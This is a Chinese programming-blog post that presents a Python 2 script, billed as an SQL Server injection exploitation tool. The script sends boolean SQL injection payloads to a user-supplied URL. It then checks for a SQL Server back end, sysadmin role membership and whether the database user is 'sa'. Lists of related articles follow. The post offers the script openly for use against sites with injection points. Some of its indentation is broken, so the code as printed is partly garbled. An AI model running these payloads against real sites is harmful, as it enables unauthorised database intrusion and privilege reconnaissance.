Python编写检测数据库SA用户的方法


Posted in Python onJuly 11, 2014

本文讲述一个用Python写的小程序,用于有注入点的链接,以检测当前数据库用户是否为sa,详细代码如下:

# Code by zhaoxiaobu Email: little.bu@hotmail.com  
#-*- coding: UTF-8 -*-  
from sys import exit  
from urllib import urlopen  
from string import join,strip  
from re import search  
 
def is_sqlable(): 
  sql1="%20and%201=2" 
  sql2="%20and%201=1" 
  urlfile1=urlopen(url+sql1) 
  urlfile2=urlopen(url+sql2) 
  htmlcodes1=urlfile1.read() 
  htmlcodes2=urlfile2.read() 
  if not search(judge,htmlcodes1) and search(judge,htmlcodes2): 
  print "[信息]恭喜!这个URL是有注入漏洞的!n" 
  print "[信息]现在判断数据库是否是SQL Server,请耐心等候....."  
  is_SQLServer() 
  else: 
  print "[错误]你确定这个URL能用?换个别的试试吧!n"

def is_SQLServer(): 
  sql = "%20and%20exists%20(select%20*%20from%20sysobjects)" 
  urlfile=urlopen(url+sql) 
  htmlcodes=urlfile.read() 
  if not search(judge,htmlcodes): 
  print "[错误]数据库好像不是SQL Server的!n" 
  else: 
  print "[信息]确认是SQL Server数据库!n" 
  print "[信息]开始检测当前数据库用户权限,请耐心等待......" 
  is_sysadmin() 
 
 
def is_sysadmin():  
  sql = "%20and%201=(select%20IS_SRVROLEMEMBER('sysadmin'))" 
  urlfile = urlopen(url+sql)  
  htmlcodes = urlfile.read()  
  if not search(judge,htmlcodes):  
    print "[错误]当前数据库用户不具有sysadmin权限!n" 
  else:  
    print "[信息]当前数据库用户具有sysadmin权限!n" 
    print "[信息]检测当前用户是不是SA,请耐心等待......" 
    is_sa()  
 
def is_sa():  
  sql = "%20and%20'sa'=(select%20System_user)"; 
  urlfile = urlopen(url+sql)  
  htmlcodes = urlfile.read()  
  if not search(judge,htmlcodes):  
    print "[错误]当前数据库用户不是SA!n" 
  else:  
    print "[信息]当前数据库用户是SA!n" 
 
print "n########################################################################n"  
print "            ^o^SQL Server注入利用工具^o^     "  
print "           Email: little.bu@hotmail.comn"  
print "========================================================================";  
url = raw_input('[信息]请输入一个可能有注入漏洞的链接!nURL:')  
if url == '':  
  print "[错误]提供的URL必须具有 '.asp?xxx=' 这样的格式"  
  exit(1)  
 
judge = raw_input("[信息]请提供一个判断字符串.n判断字符串:")  
if judge == '':  
  print "[错误]判断字符串不能为空!"  
  exit(1)  
 
is_sqlable()
Python 相关文章推荐
给Python IDLE加上自动补全和历史功能
Nov 30 Python
在Python的Flask框架中实现全文搜索功能
Apr 20 Python
浅析Python 中整型对象存储的位置
May 16 Python
Python使用Tkinter实现机器人走迷宫
Jan 22 Python
python绘制直线的方法
Jun 30 Python
python版opencv摄像头人脸实时检测方法
Aug 03 Python
Python input函数使用实例解析
Nov 22 Python
简单了解python filter、map、reduce的区别
Jan 14 Python
Python @property装饰器原理解析
Jan 22 Python
Python 实现一行输入多个数字(用空格隔开)
Apr 29 Python
利用python下载scihub成文献为PDF操作
Jul 09 Python
python map比for循环快在哪
Sep 21 Python
python实现的生成随机迷宫算法核心代码分享(含游戏完整代码)
Jul 11 #Python
python文件和目录操作函数小结
Jul 11 #Python
python实现的登陆Discuz!论坛通用代码分享
Jul 11 #Python
Python Socket编程入门教程
Jul 11 #Python
python使用正则搜索字符串或文件中的浮点数代码实例
Jul 11 #Python
Python实现的二维码生成小软件
Jul 11 #Python
让python同时兼容python2和python3的8个技巧分享
Jul 11 #Python
You might like
php颜色转换函数hex-rgb(将十六进制格式转成十进制格式)
2013/09/23 PHP
PHP命名空间(namespace)的使用基础及示例
2014/08/18 PHP
php使用pdo连接报错Connection failed SQLSTATE的解决方法
2014/12/15 PHP
php使用file函数、fseek函数读取大文件效率对比分析
2016/11/04 PHP
Js基础学习资料
2010/11/23 Javascript
不要使用jQuery触发原生事件的方法
2014/03/03 Javascript
AngularJs根据访问的页面动态加载Controller的解决方案
2015/02/04 Javascript
3kb jQuery代码搞定各种树形选择的实现方法
2016/06/10 Javascript
简单分析javascript中的函数
2016/09/10 Javascript
NodeJS和BootStrap分页效果的实现代码
2016/11/07 NodeJs
JS小数转换为整数的方法分析
2017/01/07 Javascript
[44:01]2018DOTA2亚洲邀请赛3月30日 小组赛B组 EG VS paiN
2018/03/31 DOTA
python获取网页状态码示例
2014/03/30 Python
Python中tell()方法的使用详解
2015/05/24 Python
Python3 模块、包调用&路径详解
2017/10/25 Python
基于python中的TCP及UDP(详解)
2017/11/06 Python
python使用正则筛选信用卡
2019/01/27 Python
python 并发编程 阻塞IO模型原理解析
2019/08/20 Python
python ctypes库2_指定参数类型和返回类型详解
2019/11/19 Python
Python 开发工具PyCharm安装教程图文详解(新手必看)
2020/02/28 Python
Python编程快速上手——疯狂填词程序实现方法分析
2020/02/29 Python
基于python实现FTP文件上传与下载操作(ftp&sftp协议)
2020/04/01 Python
Python PyQt5模块实现窗口GUI界面代码实例
2020/05/12 Python
Python环境搭建过程从安装到Hello World
2021/02/05 Python
css3实现圆锥渐变conic-gradient效果
2020/02/12 HTML / CSS
详解Canvas实用库Fabric.js使用手册
2019/01/07 HTML / CSS
怎样声明子类
2013/07/02 面试题
骨干教师培训感言
2014/01/16 职场文书
法律专业求职信
2014/05/24 职场文书
新文化运动的口号
2014/06/21 职场文书
最新离婚协议书范本
2014/08/19 职场文书
商场圣诞节活动总结
2015/05/06 职场文书
公司处罚决定书
2015/06/24 职场文书
小学生暑假生活总结
2015/07/13 职场文书
vue判断按钮是否可以点击
2022/04/09 Vue.js
golang三种设计模式之简单工厂、方法工厂和抽象工厂
2022/04/10 Golang